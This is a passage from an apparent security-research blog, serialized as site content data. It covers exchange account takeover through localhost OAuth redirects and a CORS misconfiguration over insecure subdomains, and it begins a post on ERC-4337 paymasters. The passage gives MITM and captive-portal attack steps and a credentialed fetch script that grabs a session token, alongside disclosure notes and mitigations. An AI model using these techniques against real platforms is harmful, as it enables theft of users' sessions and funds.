URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":22,"tag":118,"props":102944,"children":102945},{"class":120,"line":1028},[102946],{"type":22,"tag":118,"props":102947,"children":102948},{"style":1866},[102949],{"type":28,"value":102950},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":22,"tag":118,"props":102952,"children":102953},{"class":120,"line":1101},[102954],{"type":22,"tag":118,"props":102955,"children":102956},{"style":1866},[102957],{"type":28,"value":102958},"      google.accounts.id.initialize({\n",{"type":22,"tag":118,"props":102960,"children":102961},{"class":120,"line":1146},[102962],{"type":22,"tag":118,"props":102963,"children":102964},{"style":1866},[102965],{"type":28,"value":102966},"        client_id: client_id,\n",{"type":22,"tag":118,"props":102968,"children":102969},{"class":120,"line":1226},[102970],{"type":22,"tag":118,"props":102971,"children":102972},{"style":1866},[102973],{"type":28,"value":102974},"        callback: handleCredentialResponse,\n",{"type":22,"tag":118,"props":102976,"children":102977},{"class":120,"line":1234},[102978],{"type":22,"tag":118,"props":102979,"children":102980},{"style":1866},[102981],{"type":28,"value":102982},"        auto_select: true\n",{"type":22,"tag":118,"props":102984,"children":102985},{"class":120,"line":1248},[102986],{"type":22,"tag":118,"props":102987,"children":102988},{"style":1866},[102989],{"type":28,"value":9302},{"type":22,"tag":118,"props":102991,"children":102992},{"class":120,"line":1257},[102993],{"type":22,"tag":118,"props":102994,"children":102995},{"emptyLinePlaceholder":15},[102996],{"type":28,"value":250},{"type":22,"tag":118,"props":102998,"children":102999},{"class":120,"line":25765},[103000],{"type":22,"tag":118,"props":103001,"children":103002},{"style":1866},[103003],{"type":28,"value":103004},"      google.accounts.id.renderButton(\n",{"type":22,"tag":118,"props":103006,"children":103007},{"class":120,"line":25778},[103008],{"type":22,"tag":118,"props":103009,"children":103010},{"style":1866},[103011],{"type":28,"value":103012},"        document.getElementById(\"g_id_signin\"),\n",{"type":22,"tag":118,"props":103014,"children":103015},{"class":120,"line":25791},[103016],{"type":22,"tag":118,"props":103017,"children":103018},{"style":1866},[103019],{"type":28,"value":103020},"        { theme: \"outline\", size: \"large\" }\n",{"type":22,"tag":118,"props":103022,"children":103023},{"class":120,"line":25804},[103024],{"type":22,"tag":118,"props":103025,"children":103026},{"style":1866},[103027],{"type":28,"value":8774},{"type":22,"tag":118,"props":103029,"children":103030},{"class":120,"line":25858},[103031],{"type":22,"tag":118,"props":103032,"children":103033},{"emptyLinePlaceholder":15},[103034],{"type":28,"value":250},{"type":22,"tag":118,"props":103036,"children":103037},{"class":120,"line":25867},[103038],{"type":22,"tag":118,"props":103039,"children":103040},{"style":1866},[103041],{"type":28,"value":103042},"      google.accounts.id.prompt();\n",{"type":22,"tag":118,"props":103044,"children":103045},{"class":120,"line":34219},[103046],{"type":22,"tag":118,"props":103047,"children":103048},{"style":1866},[103049],{"type":28,"value":40938},{"type":22,"tag":118,"props":103051,"children":103052},{"class":120,"line":34240},[103053,103058,103062,103067],{"type":22,"tag":118,"props":103054,"children":103055},{"style":1866},[103056],{"type":28,"value":103057},"                                    \"\"\"",{"type":22,"tag":118,"props":103059,"children":103060},{"style":125},[103061],{"type":28,"value":292},{"type":22,"tag":118,"props":103063,"children":103064},{"style":532},[103065],{"type":28,"value":103066},"trimIndent",{"type":22,"tag":118,"props":103068,"children":103069},{"style":125},[103070],{"type":28,"value":2708},{"type":22,"tag":118,"props":103072,"children":103073},{"class":120,"line":82547},[103074],{"type":22,"tag":118,"props":103075,"children":103076},{"style":125},[103077],{"type":28,"value":103078},"                                }\n",{"type":22,"tag":118,"props":103080,"children":103081},{"class":120,"line":82560},[103082],{"type":22,"tag":118,"props":103083,"children":103084},{"style":125},[103085],{"type":28,"value":72986},{"type":22,"tag":118,"props":103087,"children":103088},{"class":120,"line":82568},[103089],{"type":22,"tag":118,"props":103090,"children":103091},{"style":125},[103092],{"type":28,"value":72916},{"type":22,"tag":118,"props":103094,"children":103095},{"class":120,"line":82576},[103096,103100],{"type":22,"tag":118,"props":103097,"children":103098},{"style":532},[103099],{"type":28,"value":72924},{"type":22,"tag":118,"props":103101,"children":103102},{"style":125},[103103],{"type":28,"value":1474},{"type":22,"tag":118,"props":103105,"children":103106},{"class":120,"line":82584},[103107,103111,103115,103119,103124],{"type":22,"tag":118,"props":103108,"children":103109},{"style":532},[103110],{"type":28,"value":72936},{"type":22,"tag":118,"props":103112,"children":103113},{"style":125},[103114],{"type":28,"value":11584},{"type":22,"tag":118,"props":103116,"children":103117},{"style":210},[103118],{"type":28,"value":3220},{"type":22,"tag":118,"props":103120,"children":103121},{"style":1866},[103122],{"type":28,"value":103123},"\"Login here:\"",{"type":22,"tag":118,"props":103125,"children":103126},{"style":125},[103127],{"type":28,"value":11594},{"type":22,"tag":118,"props":103129,"children":103130},{"class":120,"line":82624},[103131,103136],{"type":22,"tag":118,"props":103132,"children":103133},{"style":532},[103134],{"type":28,"value":103135},"                            div",{"type":22,"tag":118,"props":103137,"children":103138},{"style":125},[103139],{"type":28,"value":1474},{"type":22,"tag":118,"props":103141,"children":103142},{"class":120,"line":82632},[103143,103148,103152],{"type":22,"tag":118,"props":103144,"children":103145},{"style":125},[103146],{"type":28,"value":103147},"                                id ",{"type":22,"tag":118,"props":103149,"children":103150},{"style":210},[103151],{"type":28,"value":282},{"type":22,"tag":118,"props":103153,"children":103154},{"style":1866},[103155],{"type":28,"value":103156}," \"g_id_signin\"\n",{"type":22,"tag":118,"props":103158,"children":103159},{"class":120,"line":89819},[103160],{"type":22,"tag":118,"props":103161,"children":103162},{"style":125},[103163],{"type":28,"value":72986},{"type":22,"tag":118,"props":103165,"children":103166},{"class":120,"line":89827},[103167],{"type":22,"tag":118,"props":103168,"children":103169},{"style":125},[103170],{"type":28,"value":72916},{"type":22,"tag":118,"props":103172,"children":103174},{"class":120,"line":103173},62,[103175],{"type":22,"tag":118,"props":103176,"children":103177},{"style":125},[103178],{"type":28,"value":1811},{"type":22,"tag":118,"props":103180,"children":103182},{"class":120,"line":103181},63,[103183],{"type":22,"tag":118,"props":103184,"children":103185},{"style":125},[103186],{"type":28,"value":1819},{"type":22,"tag":118,"props":103188,"children":103190},{"class":120,"line":103189},64,[103191],{"type":22,"tag":118,"props":103192,"children":103193},{"style":125},[103194],{"type":28,"value":1827},{"type":22,"tag":118,"props":103196,"children":103198},{"class":120,"line":103197},65,[103199,103203,103207,103211,103215,103219],{"type":22,"tag":118,"props":103200,"children":103201},{"style":125},[103202],{"type":28,"value":73022},{"type":22,"tag":118,"props":103204,"children":103205},{"style":532},[103206],{"type":28,"value":73027},{"type":22,"tag":118,"props":103208,"children":103209},{"style":125},[103210],{"type":28,"value":73032},{"type":22,"tag":118,"props":103212,"children":103213},{"style":210},[103214],{"type":28,"value":282},{"type":22,"tag":118,"props":103216,"children":103217},{"style":146},[103218],{"type":28,"value":1537},{"type":22,"tag":118,"props":103220,"children":103221},{"style":125},[103222],{"type":28,"value":3665},{"type":22,"tag":118,"props":103224,"children":103226},{"class":120,"line":103225},66,[103227],{"type":22,"tag":118,"props":103228,"children":103229},{"style":125},[103230],{"type":28,"value":1254},{"type":22,"tag":31,"props":103232,"children":103233},{},[103234],{"type":28,"value":103235},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":22,"tag":31,"props":103237,"children":103238},{},[103239],{"type":28,"value":103240},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":22,"tag":1289,"props":103242,"children":103244},{"id":103243},"how-to-mitigate",[103245],{"type":28,"value":103246},"How to Mitigate",{"type":22,"tag":31,"props":103248,"children":103249},{},[103250],{"type":28,"value":103251},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":22,"tag":23,"props":103253,"children":103255},{"id":103254},"exploiting-cors",[103256],{"type":28,"value":103257},"Exploiting CORS",{"type":22,"tag":31,"props":103259,"children":103260},{},[103261],{"type":28,"value":103262},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":22,"tag":31,"props":103264,"children":103265},{},[103266,103268,103274],{"type":28,"value":103267},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":22,"tag":114,"props":103269,"children":103271},{"className":103270},[],[103272],{"type":28,"value":103273},"http://",{"type":28,"value":103275}," schema for any subdomain:",{"type":22,"tag":107,"props":103277,"children":103281},{"className":103278,"code":103279,"language":103280,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[103282],{"type":22,"tag":114,"props":103283,"children":103284},{"__ignoreMap":7},[103285,103293,103301,103309],{"type":22,"tag":118,"props":103286,"children":103287},{"class":120,"line":121},[103288],{"type":22,"tag":118,"props":103289,"children":103290},{},[103291],{"type":28,"value":103292},"HTTP 200 OK\n",{"type":22,"tag":118,"props":103294,"children":103295},{"class":120,"line":142},[103296],{"type":22,"tag":118,"props":103297,"children":103298},{},[103299],{"type":28,"value":103300},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":22,"tag":118,"props":103302,"children":103303},{"class":120,"line":177},[103304],{"type":22,"tag":118,"props":103305,"children":103306},{},[103307],{"type":28,"value":103308},"Access-Control-Allow-Credentials: true\n",{"type":22,"tag":118,"props":103310,"children":103311},{"class":120,"line":195},[103312],{"type":22,"tag":118,"props":103313,"children":103314},{},[103315],{"type":28,"value":12317},{"type":22,"tag":1289,"props":103317,"children":103319},{"id":103318},"cors-misconfiguration-by-lack-of-tls",[103320],{"type":28,"value":103321},"CORS Misconfiguration by Lack of TLS",{"type":22,"tag":31,"props":103323,"children":103324},{},[103325,103327,103333],{"type":28,"value":103326},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":22,"tag":114,"props":103328,"children":103330},{"className":103329},[],[103331],{"type":28,"value":103332},"exchange.com",{"type":28,"value":103334}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":22,"tag":31,"props":103336,"children":103337},{},[103338],{"type":28,"value":103339},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":22,"tag":64,"props":103341,"children":103342},{},[103343,103363],{"type":22,"tag":68,"props":103344,"children":103345},{},[103346,103348,103353,103355,103361],{"type":28,"value":103347},"Chrome --> won't work because cookies are not sent in ",{"type":22,"tag":114,"props":103349,"children":103351},{"className":103350},[],[103352],{"type":28,"value":103273},{"type":28,"value":103354}," --> ",{"type":22,"tag":114,"props":103356,"children":103358},{"className":103357},[],[103359],{"type":28,"value":103360},"https://",{"type":28,"value":103362}," requests, even if same-site",{"type":22,"tag":68,"props":103364,"children":103365},{},[103366,103368],{"type":28,"value":103367},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":22,"tag":114,"props":103369,"children":103371},{"className":103370},[],[103372],{"type":28,"value":39706},{"type":22,"tag":1289,"props":103374,"children":103376},{"id":103375},"exploit-1",[103377],{"type":28,"value":101707},{"type":22,"tag":31,"props":103379,"children":103380},{},[103381],{"type":28,"value":103382},"To exploit it, we must follow some steps:",{"type":22,"tag":4029,"props":103384,"children":103385},{},[103386,103391,103396],{"type":22,"tag":68,"props":103387,"children":103388},{},[103389],{"type":28,"value":103390},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":22,"tag":68,"props":103392,"children":103393},{},[103394],{"type":28,"value":103395},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":22,"tag":68,"props":103397,"children":103398},{},[103399,103401,103406],{"type":28,"value":103400},"Use ",{"type":22,"tag":114,"props":103402,"children":103404},{"className":103403},[],[103405],{"type":28,"value":39706},{"type":28,"value":103407}," with CORS to do something malicious using the victim's account",{"type":22,"tag":31,"props":103409,"children":103410},{},[103411],{"type":28,"value":103412},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":22,"tag":31,"props":103414,"children":103415},{},[103416,103418,103423],{"type":28,"value":103417},"Once the redirect to the ",{"type":22,"tag":114,"props":103419,"children":103421},{"className":103420},[],[103422],{"type":28,"value":103273},{"type":28,"value":103424}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":22,"tag":107,"props":103426,"children":103428},{"className":33302,"code":103427,"language":33304,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[103429],{"type":22,"tag":114,"props":103430,"children":103431},{"__ignoreMap":7},[103432,103455,103492,103509,103526,103533,103574],{"type":22,"tag":118,"props":103433,"children":103434},{"class":120,"line":121},[103435,103439,103443,103447,103451],{"type":22,"tag":118,"props":103436,"children":103437},{"style":125},[103438],{"type":28,"value":540},{"type":22,"tag":118,"props":103440,"children":103441},{"style":146},[103442],{"type":28,"value":38086},{"type":22,"tag":118,"props":103444,"children":103445},{"style":125},[103446],{"type":28,"value":41638},{"type":22,"tag":118,"props":103448,"children":103449},{"style":146},[103450],{"type":28,"value":1616},{"type":22,"tag":118,"props":103452,"children":103453},{"style":125},[103454],{"type":28,"value":1474},{"type":22,"tag":118,"props":103456,"children":103457},{"class":120,"line":142},[103458,103462,103467,103471,103475,103479,103483,103488],{"type":22,"tag":118,"props":103459,"children":103460},{"style":146},[103461],{"type":28,"value":9860},{"type":22,"tag":118,"props":103463,"children":103464},{"style":204},[103465],{"type":28,"value":103466}," res",{"type":22,"tag":118,"props":103468,"children":103469},{"style":210},[103470],{"type":28,"value":837},{"type":22,"tag":118,"props":103472,"children":103473},{"style":1480},[103474],{"type":28,"value":38152},{"type":22,"tag":118,"props":103476,"children":103477},{"style":532},[103478],{"type":28,"value":34868},{"type":22,"tag":118,"props":103480,"children":103481},{"style":125},[103482],{"type":28,"value":540},{"type":22,"tag":118,"props":103484,"children":103485},{"style":1866},[103486],{"type":28,"value":103487},"'https://www.exchange.com/api/session_token'",{"type":22,"tag":118,"props":103489,"children":103490},{"style":125},[103491],{"type":28,"value":50822},{"type":22,"tag":118,"props":103493,"children":103494},{"class":120,"line":177},[103495,103500,103505],{"type":22,"tag":118,"props":103496,"children":103497},{"style":204},[103498],{"type":28,"value":103499},"    credentials:",{"type":22,"tag":118,"props":103501,"children":103502},{"style":1866},[103503],{"type":28,"value":103504}," 'include'",{"type":22,"tag":118,"props":103506,"children":103507},{"style":125},[103508],{"type":28,"value":782},{"type":22,"tag":118,"props":103510,"children":103511},{"class":120,"line":195},[103512,103517,103522],{"type":22,"tag":118,"props":103513,"children":103514},{"style":204},[103515],{"type":28,"value":103516},"    method:",{"type":22,"tag":118,"props":103518,"children":103519},{"style":1866},[103520],{"type":28,"value":103521}," 'POST'",{"type":22,"tag":118,"props":103523,"children":103524},{"style":125},[103525],{"type":28,"value":782},{"type":22,"tag":118,"props":103527,"children":103528},{"class":120,"line":244},[103529],{"type":22,"tag":118,"props":103530,"children":103531},{"style":125},[103532],{"type":28,"value":99790},{"type":22,"tag":118,"props":103534,"children":103535},{"class":120,"line":253},[103536,103541,103545,103550,103554,103558,103562,103566,103570],{"type":22,"tag":118,"props":103537,"children":103538},{"style":204},[103539],{"type":28,"value":103540},"  console",{"type":22,"tag":118,"props":103542,"children":103543},{"style":125},[103544],{"type":28,"value":292},{"type":22,"tag":118,"props":103546,"children":103547},{"style":532},[103548],{"type":28,"value":103549},"log",{"type":22,"tag":118,"props":103551,"children":103552},{"style":125},[103553],{"type":28,"value":540},{"type":22,"tag":118,"props":103555,"children":103556},{"style":1480},[103557],{"type":28,"value":34855},{"type":22,"tag":118,"props":103559,"children":103560},{"style":204},[103561],{"type":28,"value":103466},{"type":22,"tag":118,"props":103563,"children":103564},{"style":125},[103565],{"type":28,"value":292},{"type":22,"tag":118,"props":103567,"children":103568},{"style":532},[103569],{"type":28,"value":35937},{"type":22,"tag":118,"props":103571,"children":103572},{"style":125},[103573],{"type":28,"value":17399},{"type":22,"tag":118,"props":103575,"children":103576},{"class":120,"line":263},[103577],{"type":22,"tag":118,"props":103578,"children":103579},{"style":125},[103580],{"type":28,"value":103581},"})();\n",{"type":22,"tag":31,"props":103583,"children":103584},{},[103585],{"type":28,"value":103586},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":22,"tag":1289,"props":103588,"children":103589},{"id":42275},[103590],{"type":28,"value":42278},{"type":22,"tag":31,"props":103592,"children":103593},{},[103594,103596,103601],{"type":28,"value":103595},"As mitigation, it is recommended to remove all ",{"type":22,"tag":114,"props":103597,"children":103599},{"className":103598},[],[103600],{"type":28,"value":103273},{"type":28,"value":103602}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":22,"tag":31,"props":103604,"children":103605},{},[103606],{"type":28,"value":103607},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":22,"tag":23,"props":103609,"children":103610},{"id":30872},[103611],{"type":28,"value":20914},{"type":22,"tag":31,"props":103613,"children":103614},{},[103615],{"type":28,"value":103616},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":22,"tag":31,"props":103618,"children":103619},{},[103620],{"type":28,"value":103621},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":22,"tag":4880,"props":103623,"children":103624},{},[103625],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":103627},[103628,103633,103638],{"id":101312,"depth":142,"text":101315,"children":103629},[103630,103631,103632],{"id":101323,"depth":177,"text":101326},{"id":101680,"depth":177,"text":101683},{"id":103243,"depth":177,"text":103246},{"id":103254,"depth":142,"text":103257,"children":103634},[103635,103636,103637],{"id":103318,"depth":177,"text":103321},{"id":103375,"depth":177,"text":101707},{"id":42275,"depth":177,"text":42278},{"id":30872,"depth":142,"text":20914},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":103643,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103644,"description":103645,"date":103646,"author":103647,"image":103648,"isFeatured":15,"onBlogPage":15,"tags":103650,"body":103653,"_type":4896,"_id":109425,"_source":4898,"_file":109426,"_stem":109427,"_extension":4901},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":103649,"width":98864,"height":13},"/posts/paymasters-evm/title.png",[103651,103652],"evm","ERC-4337",{"type":19,"children":103654,"toc":109404},[103655,103659,103670,103675,103680,103685,103691,103697,103702,103707,103713,103718,103746,103752,103757,103764,103769,103779,103784,103810,103816,103836,103842,103862,103870,103901,103934,103943,103955,103980,103992,104005,104048,104054,104087,104186,104205,104228,104233,104239,104267,104414,104419,104446,104452,104464,104476,104485,104520,104525,106010,106038,106059,106064,106076,106085,106090,106108,106131,106136,106142,106196,106202,106235,106270,107094,107130,107166,107232,107265,107763,107816,107828,108392,108461,108488,109110,109152,109179,109191,109252,109271,109305,109310,109315,109320,109324,109329,109364,109390,109395,109400],{"type":22,"tag":37313,"props":103656,"children":103657},{"id":25},[103658],{"type":28,"value":29},{"type":22,"tag":31,"props":103660,"children":103661},{},[103662,103668],{"type":22,"tag":42,"props":103663,"children":103666},{"href":103664,"rel":103665},"https://docs.erc4337.io/",[46],[103667],{"type":28,"value":103652},{"type":28,"value":103669}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":22,"tag":31,"props":103671,"children":103672},{},[103673],{"type":28,"value":103674},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":22,"tag":31,"props":103676,"children":103677},{},[103678],{"type":28,"value":103679},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":22,"tag":31,"props":103681,"children":103682},{},[103683],{"type":28,"value":103684},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":22,"tag":37313,"props":103686,"children":103688},{"id":103687},"erc4337-overview",[103689],{"type":28,"value":103690},"ERC4337 Overview",{"type":22,"tag":23,"props":103692,"children":103694},{"id":103693},"traditional-eoas-vs-smart-contract-wallets",[103695],{"type":28,"value":103696},"Traditional EOAs vs Smart Contract Wallets",{"type":22,"tag":31,"props":103698,"children":103699},{},[103700],{"type":28,"value":103701},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":22,"tag":31,"props":103703,"children":103704},{},[103705],{"type":28,"value":103706},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":22,"tag":23,"props":103708,"children":103710},{"id":103709},"why-erc4337-was-introduced",[103711],{"type":28,"value":103712},"Why ERC‑4337 Was Introduced",{"type":22,"tag":31,"props":103714,"children":103715},{},[103716],{"type":28,"value":103717},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":22,"tag":64,"props":103719,"children":103720},{},[103721,103726,103731,103736,103741],{"type":22,"tag":68,"props":103722,"children":103723},{},[103724],{"type":28,"value":103725},"User recovery for lost keys (e.g. social recovery)",{"type":22,"tag":68,"props":103727,"children":103728},{},[103729],{"type":28,"value":103730},"Batched or atomic multi-step operations in one flow",{"type":22,"tag":68,"props":103732,"children":103733},{},[103734],{"type":28,"value":103735},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":22,"tag":68,"props":103737,"children":103738},{},[103739],{"type":28,"value":103740},"Using custom signature schemes or multisig logic",{"type":22,"tag":68,"props":103742,"children":103743},{},[103744],{"type":28,"value":103745},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":22,"tag":23,"props":103747,"children":103749},{"id":103748},"how-erc-4337-works",[103750],{"type":28,"value":103751},"How ERC-4337 Works",{"type":22,"tag":31,"props":103753,"children":103754},{},[103755],{"type":28,"value":103756},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":22,"tag":31,"props":103758,"children":103759},{},[103760],{"type":22,"tag":5928,"props":103761,"children":103763},{"alt":52519,"src":103762},"/posts/paymasters-evm/flowchart.png",[],{"type":22,"tag":31,"props":103765,"children":103766},{},[103767],{"type":28,"value":103768},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":22,"tag":1289,"props":103770,"children":103772},{"id":103771},"useroperation",[103773],{"type":22,"tag":114,"props":103774,"children":103776},{"className":103775},[],[103777],{"type":28,"value":103778},"UserOperation",{"type":22,"tag":31,"props":103780,"children":103781},{},[103782],{"type":28,"value":103783},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":22,"tag":64,"props":103785,"children":103786},{},[103787,103792,103797],{"type":22,"tag":68,"props":103788,"children":103789},{},[103790],{"type":28,"value":103791},"Target contract call(s)",{"type":22,"tag":68,"props":103793,"children":103794},{},[103795],{"type":28,"value":103796},"Signature or validation metadata",{"type":22,"tag":68,"props":103798,"children":103799},{},[103800,103802,103808],{"type":28,"value":103801},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":22,"tag":114,"props":103803,"children":103805},{"className":103804},[],[103806],{"type":28,"value":103807},"UserOperations",{"type":28,"value":103809}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":22,"tag":1289,"props":103811,"children":103813},{"id":103812},"smart-contract-account",[103814],{"type":28,"value":103815},"Smart Contract Account",{"type":22,"tag":31,"props":103817,"children":103818},{},[103819,103821,103827,103828,103834],{"type":28,"value":103820},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":22,"tag":114,"props":103822,"children":103824},{"className":103823},[],[103825],{"type":28,"value":103826},"validateUserOp()",{"type":28,"value":12991},{"type":22,"tag":114,"props":103829,"children":103831},{"className":103830},[],[103832],{"type":28,"value":103833},"executeUserOp()",{"type":28,"value":103835},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":22,"tag":1289,"props":103837,"children":103839},{"id":103838},"bundler",[103840],{"type":28,"value":103841},"Bundler",{"type":22,"tag":31,"props":103843,"children":103844},{},[103845,103847,103852,103854,103860],{"type":28,"value":103846},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":22,"tag":114,"props":103848,"children":103850},{"className":103849},[],[103851],{"type":28,"value":103807},{"type":28,"value":103853},", packages them, and submits them in a single transaction to the ",{"type":22,"tag":114,"props":103855,"children":103857},{"className":103856},[],[103858],{"type":28,"value":103859},"EntryPoint",{"type":28,"value":103861}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":22,"tag":1289,"props":103863,"children":103864},{"id":16702},[103865],{"type":22,"tag":114,"props":103866,"children":103868},{"className":103867},[],[103869],{"type":28,"value":103859},{"type":22,"tag":31,"props":103871,"children":103872},{},[103873,103874,103879,103881,103886,103888,103892,103894,103899],{"type":28,"value":2743},{"type":22,"tag":114,"props":103875,"children":103877},{"className":103876},[],[103878],{"type":28,"value":103859},{"type":28,"value":103880}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":22,"tag":114,"props":103882,"children":103884},{"className":103883},[],[103885],{"type":28,"value":103807},{"type":28,"value":103887}," submitted by a ",{"type":22,"tag":74,"props":103889,"children":103890},{},[103891],{"type":28,"value":103841},{"type":28,"value":103893},", the ",{"type":22,"tag":114,"props":103895,"children":103897},{"className":103896},[],[103898],{"type":28,"value":103859},{"type":28,"value":103900}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":22,"tag":31,"props":103902,"children":103903},{},[103904,103906,103911,103913,103917,103919,103924,103926,103932],{"type":28,"value":103905},"Once all operations have been processed, the ",{"type":22,"tag":114,"props":103907,"children":103909},{"className":103908},[],[103910],{"type":28,"value":103859},{"type":28,"value":103912}," calculates the total gas consumed and reimburses the ",{"type":22,"tag":74,"props":103914,"children":103915},{},[103916],{"type":28,"value":103841},{"type":28,"value":103918},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":22,"tag":114,"props":103920,"children":103922},{"className":103921},[],[103923],{"type":28,"value":103859},{"type":28,"value":103925}," or from a ",{"type":22,"tag":114,"props":103927,"children":103929},{"className":103928},[],[103930],{"type":28,"value":103931},"paymaster",{"type":28,"value":103933}," that has agreed to sponsor the transaction.",{"type":22,"tag":1289,"props":103935,"children":103936},{"id":103931},[103937],{"type":22,"tag":114,"props":103938,"children":103940},{"className":103939},[],[103941],{"type":28,"value":103942},"Paymaster",{"type":22,"tag":31,"props":103944,"children":103945},{},[103946,103948,103953],{"type":28,"value":103947},"A ",{"type":22,"tag":114,"props":103949,"children":103951},{"className":103950},[],[103952],{"type":28,"value":103931},{"type":28,"value":103954}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key 